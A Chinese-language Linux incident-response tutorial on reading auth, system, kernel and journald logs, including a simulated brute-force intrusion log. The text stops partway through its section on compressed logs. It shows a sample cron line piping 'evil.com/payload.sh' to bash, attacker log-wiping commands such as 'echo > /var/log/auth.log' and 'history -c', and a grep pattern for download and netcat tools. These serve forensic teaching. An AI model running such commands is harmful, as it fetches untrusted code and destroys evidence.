1. 1. Linux 日志分析基础
    1. 1.1. 1. Linux 日志体系概述
      1. 1.1.1. 1.1 syslog 协议基础
        1. 1.1.1.1. Facility(设施)列表
        2. 1.1.1.2. Severity(严重级别)列表
        3. 1.1.1.3. Facility x Severity 矩阵(应急响应重点关注)
      2. 1.1.2. 1.2 日志守护进程对比
      3. 1.1.3. 1.3 日志流向图
      4. 1.1.4. 1.4 Ubuntu vs CentOS 日志差异
    2. 1.2. 2. 认证日志深度分析
      1. 1.2.1. 2.1 文件位置与基本格式
      2. 1.2.2. 2.2 SSH 相关日志格式详解
        1. 1.2.2.1. 密码登录成功
        2. 1.2.2.2. 密钥登录成功
        3. 1.2.2.3. 密码登录失败
        4. 1.2.2.4. 无效用户登录尝试
        5. 1.2.2.5. 连接断开
        6. 1.2.2.6. 连接关闭(未认证)
        7. 1.2.2.7. 最大认证尝试次数超限
      3. 1.2.3. 2.3 sudo 日志分析
      4. 1.2.4. 2.4 su 切换日志
      5. 1.2.5. 2.5 用户管理日志
        1. 1.2.5.1. 创建用户(useradd)
        2. 1.2.5.2. 删除用户(userdel)
        3. 1.2.5.3. 修改密码(passwd)
        4. 1.2.5.4. 修改用户属性(usermod)
      6. 1.2.6. 2.6 PAM 认证日志
      7. 1.2.7. 2.7 实战分析案例:暴力破解到完全控制
        1. 1.2.7.1. 分析要点总结
    3. 1.3. 3. 系统日志分析
      1. 1.3.1. 3.1 系统日志文件
      2. 1.3.2. 3.2 关键事件类型
        1. 1.3.2.1. 服务启动与停止
        2. 1.3.2.2. 硬件错误
        3. 1.3.2.3. 内核告警
      3. 1.3.3. 3.3 从系统日志中发现异常
        1. 1.3.3.1. 意外的服务重启
        2. 1.3.3.2. 异常的定时任务执行
        3. 1.3.3.3. 内核模块加载(LKM Rootkit 指标)
    4. 1.4. 4. 登录记录日志(二进制日志)
      1. 1.4.1. 4.1 三个关键二进制日志
      2. 1.4.2. 4.2 last 命令详解(读取 wtmp)
      3. 1.4.3. 4.3 lastb 命令详解(读取 btmp)
      4. 1.4.4. 4.4 lastlog 命令(每个用户最后登录)
      5. 1.4.5. 4.5 为什么二进制日志特别重要
      6. 1.4.6. 4.6 攻击者如何篡改二进制日志
    5. 1.5. 5. 内核日志
      1. 1.5.1. 5.1 访问内核日志的方式
      2. 1.5.2. 5.2 dmesg 常用参数
      3. 1.5.3. 5.3 应急响应关键关注点
        1. 1.5.3.1. 内核模块加载/卸载
        2. 1.5.3.2. 网络接口混杂模式
        3. 1.5.3.3. OOM Killer 事件
        4. 1.5.3.4. SELinux / AppArmor 拒绝日志
    6. 1.6. 6. journalctl 高级用法
      1. 1.6.1. 6.1 基本查询
      2. 1.6.2. 6.2 时间范围过滤
      3. 1.6.3. 6.3 按用户 / PID / 优先级过滤
      4. 1.6.4. 6.4 按引导过滤
      5. 1.6.5. 6.5 输出格式
      6. 1.6.6. 6.6 实时跟踪
      7. 1.6.7. 6.7 磁盘管理与持久化
    7. 1.7. 7. 日志轮转与篡改检测
      1. 1.7.1. 7.1 logrotate 配置
      2. 1.7.2. 7.2 搜索压缩日志
      3. 1.7.3. 7.3 日志篡改检测技术
        1. 1.7.3.1. 方法一:时间戳连续性检测
        2. 1.7.3.2. 方法二:文件属性异常检测
        3. 1.7.3.3. 方法三:inode 号变化检测
        4. 1.7.3.4. 方法四:与远程日志对比
        5. 1.7.3.5. 方法五:SELinux 上下文变化
        6. 1.7.3.6. 方法六:交叉验证
    8. 1.8. 8. 常用日志分析 One-Liners
      1. 1.8.1. 8.1 SSH 暴力破解 IP Top 20
      2. 1.8.2. 8.2 SSH 暴力破解 — 被尝试的用户名 Top 20
      3. 1.8.3. 8.3 成功登录时间线
      4. 1.8.4. 8.4 无效用户登录尝试统计
      5. 1.8.5. 8.5 sudo 命令审计
      6. 1.8.6. 8.6 非法 sudo 尝试
      7. 1.8.7. 8.7 用户创建和删除记录
      8. 1.8.8. 8.8 计划任务执行记录
      9. 1.8.9. 8.9 服务启停记录
      10. 1.8.10. 8.10 按小时统计登录失败次数
      11. 1.8.11. 8.11 提取日志中所有 IP 地址
      12. 1.8.12. 8.12 检测日志中的 Base64 编码内容
      13. 1.8.13. 8.13 查找 SSH 密钥认证记录
      14. 1.8.14. 8.14 查找 su 切换记录
      15. 1.8.15. 8.15 综合时间线生成
      16. 1.8.16. 8.16 统计每个用户的登录次数
      17. 1.8.17. 8.17 查找非标准端口的 SSH 连接
      18. 1.8.18. 8.18 检测 PAM 认证失败
    9. 1.9. 9. Web 服务日志简介
      1. 1.9.1. 9.1 Apache / Nginx Access Log 格式
      2. 1.9.2. 9.2 常见攻击模式在日志中的表现
        1. 1.9.2.1. SQL 注入
        2. 1.9.2.2. 目录遍历
        3. 1.9.2.3. Webshell 访问
        4. 1.9.2.4. 扫描器行为
    10. 1.10. 10. 实战练习
      1. 1.10.1. 场景描述
      2. 1.10.2. 任务一:从 auth.log 中找出所有暴力破解的源 IP
      3. 1.10.3. 任务二:确定攻击者是否成功登录
      4. 1.10.4. 任务三:追踪攻击者登录后的操作
      5. 1.10.5. 任务四:检查是否有新建用户
      6. 1.10.6. 任务五:检查日志是否被篡改
      7. 1.10.7. 排查报告模板
      8. 1.10.8. 练习要点回顾

Linux应急响应 - 03 日志分析基础

Linux 日志分析基础

日志是应急响应的第一手证据,也是还原攻击链的核心数据源

本章将系统讲解 Linux 日志体系、关键日志文件的分析方法,以及实战中常用的日志分析技巧

前置知识:Linux应急响应/02-基础命令与工具

后续深入:Linux应急响应/04-进程与网络排查、12-Nginx与Apache应急

1. Linux 日志体系概述

1.1 syslog 协议基础

syslog 是 Unix/Linux 系统的标准日志协议(RFC 5424)

每条日志由两个维度分类:Facility(设施)Severity(严重级别)

Facility(设施)列表

编号 Facility 说明
0 kern 内核消息
1 user 用户级消息
2 mail 邮件系统
3 daemon 系统守护进程
4 auth 认证/授权消息
5 syslog syslog 自身消息
6 lpr 打印系统
7 news 新闻系统
8 uucp UUCP 子系统
9 cron 定时任务
10 authpriv 私有认证消息
11 ftp FTP 守护进程
16-23 local0-local7 本地自定义

Severity(严重级别)列表

级别 名称 说明 应急关注度
0 emerg 系统不可用 ★★★★★
1 alert 必须立即处理 ★★★★★
2 crit 严重情况 ★★★★☆
3 err 错误条件 ★★★★☆
4 warning 警告条件 ★★★☆☆
5 notice 正常但重要 ★★☆☆☆
6 info 信息性消息 ★☆☆☆☆
7 debug 调试消息 ★☆☆☆☆

Facility x Severity 矩阵(应急响应重点关注)

emerg alert crit err warning notice info
kern 内核崩溃 硬件故障 驱动异常 模块错误 资源告警 模块加载 内核信息
auth - 认证系统崩溃 暴力破解 登录失败 权限异常 登录成功 认证信息
daemon 服务崩溃 服务异常 配置错误 运行错误 性能告警 服务启停 运行信息
cron - - 任务异常 执行失败 延迟告警 任务执行 调度信息

应急响应时,重点关注 auth + kern 的 warning 及以上级别

1.2 日志守护进程对比

特性 rsyslog syslog-ng journald
默认系统 CentOS/RHEL, Ubuntu 需手动安装 systemd 系统均有
配置文件 /etc/rsyslog.conf /etc/syslog-ng/syslog-ng.conf /etc/systemd/journald.conf
存储格式 纯文本 纯文本 二进制(journal)
远程转发 支持(TCP/UDP/RELP) 支持(TCP/UDP/TLS) 不直接支持,需配合
过滤能力 强(属性、表达式) 非常强(灵活管道) 强(字段过滤)
性能 高(多线程) 高(索引存储)
结构化日志 支持 支持 原生支持
日志完整性 无内建 无内建 FSS(Forward Secure Sealing)

现代 Linux 系统通常是 journald + rsyslog 协同工作

journald 收集所有日志 → rsyslog 读取 journal → 写入 /var/log/ 文本文件

1.3 日志流向图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌─────────────┐    ┌─────────────┐    ┌─────────────┐
应用程序 内核 (kern) systemd
(httpd, dmesg 服务单元
sshd...)
└──────┬───────┘ └──────┬───────┘ └──────┬───────┘

syslog() /dev/kmsg sd_journal
API _send()

┌──────────────────────────────────────────────────────┐
journald
/run/log/journal/ (易失)
/var/log/journal/ (持久)
└──────────────────────┬───────────────────────────────┘

imjournal 模块

┌──────────────────────────────────────────────────────┐
rsyslog
/etc/rsyslog.conf
└────┬─────────────────┬──────────────────┬────────────┘


┌─────────┐ ┌────────────┐ ┌──────────────┐
本地文件 远程 syslog 数据库/SIEM
│/var/log/ 服务器 (ELK, etc)
└─────────┘ └────────────┘ └──────────────┘

1.4 Ubuntu vs CentOS 日志差异

日志类型 Ubuntu/Debian CentOS/RHEL 说明
认证日志 /var/log/auth.log /var/log/secure 最重要的应急日志
系统日志 /var/log/syslog /var/log/messages 通用系统消息
包管理 /var/log/dpkg.log /var/log/yum.log 软件安装记录
引导日志 /var/log/boot.log /var/log/boot.log 相同
内核日志 /var/log/kern.log 合并在 messages 中 Ubuntu 单独文件
定时任务 /var/log/syslog /var/log/cron CentOS 单独文件
邮件日志 /var/log/mail.log /var/log/maillog 注意命名差异
防火墙 /var/log/ufw.log 合并在 messages 中 Ubuntu 有 UFW 专用

应急响应第一步:先确认目标系统是什么发行版,然后去对应的日志路径找文件

2. 认证日志深度分析

认证日志是应急响应中最重要的日志,没有之一。几乎所有入侵事件都会在认证日志中留下痕迹。

2.1 文件位置与基本格式

Ubuntu/Debian:/var/log/auth.log

CentOS/RHEL:/var/log/secure

基本格式:时间戳 主机名 进程[PID]: 消息内容

示例:

1
Jan 15 08:23:45 webserver sshd[12345]: Accepted password for admin from 192.168.1.100 port 52341 ssh2

各字段含义:

Jan 15 08:23:45 — 时间戳(注意:默认不含年份!跨年分析需注意)

webserver — 主机名

sshd[12345] — 产生日志的进程及 PID

后面是具体的日志消息

2.2 SSH 相关日志格式详解

密码登录成功

1
Jan 15 08:23:45 server sshd[12345]: Accepted password for admin from 10.0.0.50 port 52341 ssh2

关键词:Accepted password

包含:用户名、来源 IP、来源端口、协议版本

密钥登录成功

1
Jan 15 08:24:01 server sshd[12346]: Accepted publickey for deploy from 10.0.0.51 port 43210 ssh2: RSA SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8

关键词:Accepted publickey

额外包含密钥类型和指纹,可用于追踪具体是哪个密钥

密码登录失败

1
Jan 15 08:25:33 server sshd[12350]: Failed password for admin from 203.0.113.50 port 61234 ssh2

关键词:Failed password

大量连续出现 = 暴力破解特征

无效用户登录尝试

1
2
Jan 15 08:25:35 server sshd[12351]: Invalid user oracle from 203.0.113.50 port 61235
Jan 15 08:25:35 server sshd[12351]: Failed password for invalid user oracle from 203.0.113.50 port 61235 ssh2

关键词:Invalid user

攻击者在尝试猜测用户名

连接断开

1
Jan 15 08:30:00 server sshd[12345]: Disconnected from user admin 10.0.0.50 port 52341

可以配合登录记录计算会话时长

连接关闭(未认证)

1
Jan 15 08:25:40 server sshd[12355]: Connection closed by 203.0.113.50 port 61240 [preauth]

[preauth] 表示在认证前就断开了,常见于端口扫描

最大认证尝试次数超限

1
2
Jan 15 08:26:00 server sshd[12360]: error: maximum authentication attempts exceeded for admin from 203.0.113.50 port 61250 ssh2 [preauth]
Jan 15 08:26:00 server sshd[12360]: Disconnecting authenticating user admin 203.0.113.50 port 61250: Too many authentication failures [preauth]

2.3 sudo 日志分析

成功执行 sudo 命令:

1
Jan 15 09:01:22 server sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/cat /etc/shadow

sudo 认证失败:

1
Jan 15 09:02:15 server sudo: webuser : user NOT in sudoers ; TTY=pts/1 ; PWD=/home/webuser ; USER=root ; COMMAND=/bin/bash

user NOT in sudoers — 该用户没有 sudo 权限却尝试使用

应急关注点:非管理员用户尝试 sudo 可能是攻击者在提权探测

sudo 配置修改:

1
Jan 15 09:05:00 server sudo: admin : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/sbin/visudo

2.4 su 切换日志

成功切换:

1
2
Jan 15 09:10:00 server su[13000]: Successful su for root by admin
Jan 15 09:10:00 server su[13000]: + pts/0 admin:root

失败切换:

1
2
Jan 15 09:10:30 server su[13001]: FAILED su for root by webuser
Jan 15 09:10:30 server su[13001]: - pts/1 webuser:root

+ 表示成功,- 表示失败

2.5 用户管理日志

创建用户(useradd)

1
2
Jan 15 10:00:00 server useradd[13100]: new group: name=hacker, GID=1001
Jan 15 10:00:00 server useradd[13100]: new user: name=hacker, UID=1001, GID=1001, home=/home/hacker, shell=/bin/bash

删除用户(userdel)

1
2
Jan 15 10:05:00 server userdel[13200]: delete user 'hacker'
Jan 15 10:05:00 server userdel[13200]: removed group 'hacker' owned by 'hacker'

修改密码(passwd)

1
Jan 15 10:01:00 server passwd[13150]: pam_unix(passwd:chauthtok): password changed for hacker

修改用户属性(usermod)

1
2
Jan 15 10:02:00 server usermod[13160]: add 'hacker' to group 'sudo'
Jan 15 10:02:00 server usermod[13160]: add 'hacker' to shadow group 'sudo'

将用户加入 sudo 组 = 授予 root 权限,这是非常严重的后门行为

2.6 PAM 认证日志

PAM(Pluggable Authentication Modules)是 Linux 认证框架

认证失败:

1
Jan 15 08:25:33 server sshd[12350]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=203.0.113.50  user=admin

会话打开:

1
Jan 15 08:23:45 server sshd[12345]: pam_unix(sshd:session): session opened for user admin(uid=1000) by (uid=0)

会话关闭:

1
Jan 15 08:30:00 server sshd[12345]: pam_unix(sshd:session): session closed for user admin

PAM 日志中的 rhost 字段就是远程主机 IP,非常有用

2.7 实战分析案例:暴力破解到完全控制

以下是一段真实场景模拟的 auth.log 片段,展示了完整的攻击链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# ===== 阶段一:暴力破解探测(攻击者 IP: 203.0.113.100)=====
# 攻击者首先尝试常见用户名
Jan 15 02:13:01 prod-web-01 sshd[8801]: Invalid user test from 203.0.113.100 port 45210
Jan 15 02:13:01 prod-web-01 sshd[8801]: pam_unix(sshd:auth): check pass; user unknown
Jan 15 02:13:03 prod-web-01 sshd[8801]: Failed password for invalid user test from 203.0.113.100 port 45210 ssh2
Jan 15 02:13:05 prod-web-01 sshd[8803]: Invalid user oracle from 203.0.113.100 port 45212
Jan 15 02:13:07 prod-web-01 sshd[8803]: Failed password for invalid user oracle from 203.0.113.100 port 45212 ssh2
Jan 15 02:13:09 prod-web-01 sshd[8805]: Invalid user postgres from 203.0.113.100 port 45214
Jan 15 02:13:11 prod-web-01 sshd[8805]: Failed password for invalid user postgres from 203.0.113.100 port 45214 ssh2
# ↑ 间隔约2秒一次,使用字典中的常见用户名 —— 典型的自动化暴力破解工具特征

# ===== 阶段二:针对已知用户名 admin 进行密码爆破 =====
Jan 15 02:13:15 prod-web-01 sshd[8810]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=203.0.113.100 user=admin
Jan 15 02:13:17 prod-web-01 sshd[8810]: Failed password for admin from 203.0.113.100 port 45220 ssh2
Jan 15 02:13:19 prod-web-01 sshd[8812]: Failed password for admin from 203.0.113.100 port 45222 ssh2
Jan 15 02:13:21 prod-web-01 sshd[8814]: Failed password for admin from 203.0.113.100 port 45224 ssh2
Jan 15 02:13:23 prod-web-01 sshd[8816]: Failed password for admin from 203.0.113.100 port 45226 ssh2
Jan 15 02:13:25 prod-web-01 sshd[8818]: Failed password for admin from 203.0.113.100 port 45228 ssh2
Jan 15 02:13:27 prod-web-01 sshd[8820]: Failed password for admin from 203.0.113.100 port 45230 ssh2
Jan 15 02:13:29 prod-web-01 sshd[8822]: Failed password for admin from 203.0.113.100 port 45232 ssh2
Jan 15 02:13:31 prod-web-01 sshd[8824]: Failed password for admin from 203.0.113.100 port 45234 ssh2
# ↑ 8次失败,间隔恒定2秒 —— 机器行为,不是人工操作

# ===== 阶段三:暴力破解成功!=====
Jan 15 02:13:33 prod-web-01 sshd[8826]: Accepted password for admin from 203.0.113.100 port 45236 ssh2
Jan 15 02:13:33 prod-web-01 sshd[8826]: pam_unix(sshd:session): session opened for user admin(uid=1000) by (uid=0)
Jan 15 02:13:33 prod-web-01 systemd-logind[521]: New session 42 of user admin.
# ↑ 关键!攻击者在大量失败后突然成功登录 —— 密码被猜中
# ↑ 注意 session ID = 42,后续操作可以通过这个关联

# ===== 阶段四:攻击者在系统内操作 =====
# 4.1 尝试提权
Jan 15 02:14:05 prod-web-01 sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/bash
Jan 15 02:14:05 prod-web-01 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by admin(uid=1000)
# ↑ admin 有 sudo 权限,攻击者获得了 root shell

# 4.2 创建后门用户
Jan 15 02:15:22 prod-web-01 useradd[9001]: new group: name=support, GID=1002
Jan 15 02:15:22 prod-web-01 useradd[9001]: new user: name=support, UID=1002, GID=1002, home=/home/support, shell=/bin/bash
Jan 15 02:15:25 prod-web-01 passwd[9005]: pam_unix(passwd:chauthtok): password changed for support
# ↑ 创建了名为 support 的后门用户 —— 名称刻意伪装成运维账号

# 4.3 将后门用户加入 sudo 组
Jan 15 02:15:30 prod-web-01 usermod[9010]: add 'support' to group 'sudo'
Jan 15 02:15:30 prod-web-01 usermod[9010]: add 'support' to shadow group 'sudo'
# ↑ 后门用户获得 root 权限 —— 即使 admin 密码被改,攻击者仍可通过 support 登录

# 4.4 攻击者通过后门用户验证登录
Jan 15 02:16:00 prod-web-01 sshd[9050]: Accepted password for support from 203.0.113.100 port 45300 ssh2
Jan 15 02:16:00 prod-web-01 sshd[9050]: pam_unix(sshd:session): session opened for user support(uid=1002) by (uid=0)
# ↑ 确认后门可用

# 4.5 关闭原始会话
Jan 15 02:16:30 prod-web-01 sshd[8826]: pam_unix(sshd:session): session closed for user admin
Jan 15 02:16:30 prod-web-01 systemd-logind[521]: Session 42 logged out. Waiting for processes to exit.
Jan 15 02:16:30 prod-web-01 systemd-logind[521]: Removed session 42.
# ↑ 攻击者退出 admin 会话,后续使用 support 后门账号活动

分析要点总结

阶段 时间 行为 关键证据
探测 02:13:01-02:13:11 用户名枚举 Invalid user
爆破 02:13:15-02:13:31 密码暴力破解 Failed password x 8
入侵 02:13:33 成功登录 Accepted password
提权 02:14:05 sudo 获取 root COMMAND=/bin/bash
持久化 02:15:22-02:15:30 创建后门用户 useradd + usermod
验证 02:16:00 后门登录测试 新用户 SSH 登录

完整攻击链:侦察 → 暴力破解 → 初始访问 → 提权 → 持久化

3. 系统日志分析

3.1 系统日志文件

Ubuntu/Debian:/var/log/syslog

CentOS/RHEL:/var/log/messages

包含大量系统运行信息,是除认证日志外最重要的日志文件

3.2 关键事件类型

服务启动与停止

1
2
3
Jan 15 03:00:01 server systemd[1]: Started nginx.service - A high performance web server and a reverse proxy server.
Jan 15 03:00:05 server systemd[1]: Stopping nginx.service - A high performance web server and a reverse proxy server...
Jan 15 03:00:06 server systemd[1]: nginx.service: Deactivated successfully.

应急关注:服务在非预期时间启动/停止,可能被攻击者操作

硬件错误

1
Jan 15 04:12:00 server kernel: [12345.678] EXT4-fs error (device sda1): ext4_lookup: inode #12345: comm process_name: directory has been corrupted

内核告警

1
Jan 15 05:00:00 server kernel: [23456.789] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies.

SYN flood 攻击的内核层面告警

3.3 从系统日志中发现异常

意外的服务重启

1
2
3
4
5
# 查找所有服务启停事件
grep -E "Started|Stopped|Stopping|Failed" /var/log/syslog | grep -v "session"

# 重点关注非工作时间的服务操作
grep -E "Started|Stopped" /var/log/syslog | awk '{print $1,$2,$3}' | sort | uniq -c | sort -rn

异常的定时任务执行

1
2
3
4
5
6
7
8
# Ubuntu:cron 日志在 syslog 中
grep "CRON" /var/log/syslog

# CentOS:cron 有单独日志
cat /var/log/cron

# 查找可疑的 cron 执行(如 wget、curl、bash -c 等)
grep "CRON" /var/log/syslog | grep -iE "wget|curl|bash|python|perl|nc |ncat"

示例异常 cron 日志:

1
2
Jan 15 */5 * * * root /tmp/.hidden/beacon.sh
Jan 15 06:00:01 server CRON[15000]: (root) CMD (curl -s http://evil.com/payload.sh | bash)

内核模块加载(LKM Rootkit 指标)

1
2
3
4
5
# 查找内核模块加载事件
grep -i "module" /var/log/syslog | grep -iE "load|insert"

# dmesg 中查看
dmesg | grep -i "module"

可疑特征:

非系统启动阶段加载的内核模块

模块名称不在已知列表中

加载时间在入侵时间窗口内

4. 登录记录日志(二进制日志)

4.1 三个关键二进制日志

文件 内容 读取命令 说明
/var/log/wtmp 成功登录记录 last 包含登录/登出时间、来源 IP
/var/log/btmp 失败登录记录 lastb 暴力破解证据
/var/log/lastlog 各用户最后登录 lastlog 快速概览所有用户
/var/run/utmp 当前登录用户 who / w 实时在线用户

4.2 last 命令详解(读取 wtmp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看所有登录记录
last

# 查看指定用户
last admin

# 查看指定时间范围(显示最近20条)
last -n 20

# 显示 IP 地址(不做 DNS 反解)
last -i

# 显示完整的登录/登出时间
last -F

# 使用 utmpdump 转为文本分析(可以看到更详细的原始数据)
utmpdump /var/log/wtmp

last -F 输出示例:

1
2
3
admin    pts/0    10.0.0.50    Mon Jan 15 08:23:45 2024 - Mon Jan 15 08:30:00 2024  (00:06)
support pts/1 203.0.113.100 Mon Jan 15 02:16:00 2024 - Mon Jan 15 05:45:00 2024 (03:29)
admin pts/0 203.0.113.100 Mon Jan 15 02:13:33 2024 - Mon Jan 15 02:16:30 2024 (00:02)

4.3 lastb 命令详解(读取 btmp)

1
2
3
4
5
6
7
8
# 查看失败登录(需要 root 权限)
sudo lastb

# 统计各 IP 的失败登录次数
sudo lastb | awk '{print $3}' | sort | uniq -c | sort -rn | head -20

# 统计被尝试的用户名
sudo lastb | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

4.4 lastlog 命令(每个用户最后登录)

1
2
3
4
5
6
7
8
# 查看所有用户最后登录信息
lastlog

# 只看最近7天有登录的用户
lastlog -t 7

# 查看指定用户
lastlog -u admin

输出示例:

1
2
3
4
5
Username         Port     From             Latest
root pts/0 10.0.0.1 Mon Jan 15 10:00:00 +0800 2024
admin pts/0 203.0.113.100 Mon Jan 15 02:13:33 +0800 2024
support pts/1 203.0.113.100 Mon Jan 15 02:16:00 +0800 2024
www-data **Never logged in**

4.5 为什么二进制日志特别重要

关键原因:即使攻击者清除了 auth.log / secure,wtmp 和 btmp 可能仍然完整

很多攻击者会用以下命令清日志:

1
2
3
4
# 攻击者常用的清日志命令
echo > /var/log/auth.log # 清空认证日志
cat /dev/null > /var/log/syslog # 清空系统日志
history -c # 清空命令历史

但他们经常忘记清除二进制日志,因为:

不能简单地用 echo/cat 清空(会破坏二进制格式)

需要专门的工具来编辑

需要知道这些文件的存在

4.6 攻击者如何篡改二进制日志

高级攻击者会使用专门的工具:

utmpedit — 编辑 utmp/wtmp 记录

wtmpfix — 修复/编辑 wtmp

logwiper / logcleaner — 自动化日志清除工具

检测篡改的方法:

1
2
3
4
5
6
7
8
9
10
# 检查文件完整性
stat /var/log/wtmp
stat /var/log/btmp

# 检查文件大小是否异常(被清空后重建会很小)
ls -la /var/log/wtmp /var/log/btmp

# 对比 wtmp 记录和 auth.log 记录是否一致
# 如果 auth.log 有登录记录但 wtmp 没有 —— wtmp 被篡改
# 如果 wtmp 有记录但 auth.log 没有 —— auth.log 被篡改

5. 内核日志

5.1 访问内核日志的方式

方式 命令 说明
dmesg 命令 dmesg 读取内核环形缓冲区
内核日志文件 cat /var/log/kern.log Ubuntu 独立文件
journalctl journalctl -k systemd 内核日志
messages grep kernel /var/log/messages CentOS 方式

5.2 dmesg 常用参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看所有内核消息
dmesg

# 带时间戳显示(人类可读格式)
dmesg -T

# 只看错误和警告
dmesg --level=err,warn

# 实时跟踪内核消息
dmesg -w

# 按设施过滤
dmesg --facility=kern

# 清空内核消息缓冲区(需 root)—— 攻击者可能这样做
dmesg -C

5.3 应急响应关键关注点

内核模块加载/卸载

1
2
[  234.567890] Loading module: suspicious_module
[ 234.567891] suspicious_module: module loaded from /tmp/rootkit.ko

检查命令:

1
2
3
4
5
6
7
8
# 查看已加载的内核模块
lsmod

# 查看内核模块加载日志
dmesg -T | grep -iE "module|insmod|modprobe"

# 查看模块文件信息
modinfo suspicious_module

LKM Rootkit 会通过加载恶意内核模块来隐藏进程、文件、网络连接

网络接口混杂模式

1
[  345.678901] device eth0 entered promiscuous mode

混杂模式意味着网卡在接收所有经过的数据包 —— 可能在进行网络嗅探

检查命令:

1
2
3
4
5
6
# 检查接口是否处于混杂模式
ip link show | grep PROMISC

# 在日志中查找
dmesg -T | grep -i promiscuous
grep -i promiscuous /var/log/syslog

OOM Killer 事件

1
[  456.789012] Out of memory: Killed process 12345 (crypto_miner) total-vm:4096000kB, anon-rss:3500000kB

OOM Killer 杀掉的进程可能揭示:

挖矿程序(大量内存消耗)

DDoS 工具(大量网络连接消耗内存)

内存泄漏的恶意程序

1
dmesg -T | grep -i "out of memory\|oom\|killed process"

SELinux / AppArmor 拒绝日志

1
2
3
4
5
# SELinux
[ 567.890123] type=AVC msg=audit(1705276800.123:456): avc: denied { execute } for pid=12345 comm="bash" name="payload.sh" dev="sda1" ino=67890

# AppArmor
[ 567.890124] audit: type=1400 audit(1705276800.456:789): apparmor="DENIED" operation="exec" profile="/usr/sbin/sshd" name="/tmp/backdoor" pid=12345

安全模块拒绝日志是非常有价值的 —— 它说明有程序尝试做不允许的操作

即使攻击者的操作被阻止了,拒绝日志也是入侵尝试的证据

6. journalctl 高级用法

journalctl 是 systemd 系统的日志查看器,功能强大,是现代 Linux 应急响应的必备技能

6.1 基本查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 查看所有日志(从最旧开始)
journalctl

# 查看特定服务的日志
journalctl -u sshd
journalctl -u nginx

# 查看多个服务
journalctl -u sshd -u nginx

# 反向显示(最新的在前)
journalctl -r

# 只显示最近 N 行
journalctl -n 100

6.2 时间范围过滤

1
2
3
4
5
6
7
8
9
10
# 指定起止时间
journalctl --since "2024-01-15 02:00:00" --until "2024-01-15 06:00:00"

# 相对时间
journalctl --since "1 hour ago"
journalctl --since "2 days ago"
journalctl --since yesterday --until today

# 组合使用:查看入侵时间窗口内的 SSH 日志
journalctl -u sshd --since "2024-01-15 02:00:00" --until "2024-01-15 03:00:00"

6.3 按用户 / PID / 优先级过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 按 UID 过滤(查看 root 用户产生的日志)
journalctl _UID=0

# 按 PID 过滤
journalctl _PID=12345

# 按可执行文件路径
journalctl _EXE=/usr/sbin/sshd

# 按优先级过滤(只看错误及以上)
journalctl -p err
# 优先级:emerg(0) alert(1) crit(2) err(3) warning(4) notice(5) info(6) debug(7)

# 范围过滤
journalctl -p warning..err

6.4 按引导过滤

1
2
3
4
5
6
7
8
9
10
11
# 查看当前引导的日志
journalctl -b

# 查看上一次引导的日志
journalctl -b -1

# 列出所有引导记录
journalctl --list-boots

# 如果系统被攻击后重启过,可以查看重启前的日志
journalctl -b -1 -u sshd

6.5 输出格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 默认短格式
journalctl -o short

# 精确时间戳(含微秒)
journalctl -o short-precise

# JSON 格式(便于脚本处理)
journalctl -o json

# JSON 美化格式(便于阅读)
journalctl -o json-pretty

# 详细格式(显示所有字段)
journalctl -o verbose

# 导出为文本便于离线分析
journalctl -u sshd --since "2024-01-15" -o short-precise > /tmp/sshd_logs.txt

# 导出为 JSON 便于工具处理
journalctl -u sshd -o json --no-pager > /tmp/sshd_logs.json

6.6 实时跟踪

1
2
3
4
5
6
7
8
# 实时跟踪所有日志
journalctl -f

# 实时跟踪特定服务
journalctl -f -u sshd

# 实时跟踪 + 优先级过滤
journalctl -f -p warning -u sshd

6.7 磁盘管理与持久化

1
2
3
4
5
6
7
8
# 查看日志占用的磁盘空间
journalctl --disk-usage

# 清理日志(保留最近2天)
journalctl --vacuum-time=2d

# 清理日志(限制总大小为500M)
journalctl --vacuum-size=500M

持久化配置文件:/etc/systemd/journald.conf

1
2
3
4
5
6
7
[Journal]
Storage=persistent # auto/persistent/volatile/none
Compress=yes
SystemMaxUse=2G # 最大磁盘使用量
SystemKeepFree=1G # 保留磁盘空间
MaxRetentionSec=1month # 最大保留时间
ForwardToSyslog=yes # 转发到 rsyslog

应急建议:将 Storage 设为 persistent,确保重启后日志不丢失

7. 日志轮转与篡改检测

7.1 logrotate 配置

全局配置:/etc/logrotate.conf

服务专用配置:/etc/logrotate.d/ 目录下各文件

典型配置示例:

1
2
3
4
5
6
7
8
9
/var/log/auth.log {
weekly # 每周轮转
rotate 4 # 保留4个旧文件
compress # 压缩旧文件
delaycompress # 延迟一个周期再压缩
missingok # 文件不存在不报错
notifempty # 空文件不轮转
create 0640 syslog adm # 新文件权限
}

轮转后的文件命名:

1
2
3
4
5
/var/log/auth.log        # 当前日志
/var/log/auth.log.1 # 上一周期(未压缩)
/var/log/auth.log.2.gz # 两个周期前(已压缩)
/var/log/auth.log.3.gz # 三个周期前
/var/log/auth.log.4.gz # 四个周期前(最旧,下次轮转时删除)

7.2 搜索压缩日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 在压缩日志中搜索(zgrep 自动处理 .gz 文件)
zgrep "Failed password" /var/log/auth.log.*.gz

# 查看压缩日志内容
zcat /var/log/auth.log.2.gz

# 分页查看
zless /var/log/auth.log.2.gz

# 搜索所有认证日志(当前 + 历史)
grep "Failed password" /var/log/auth.log
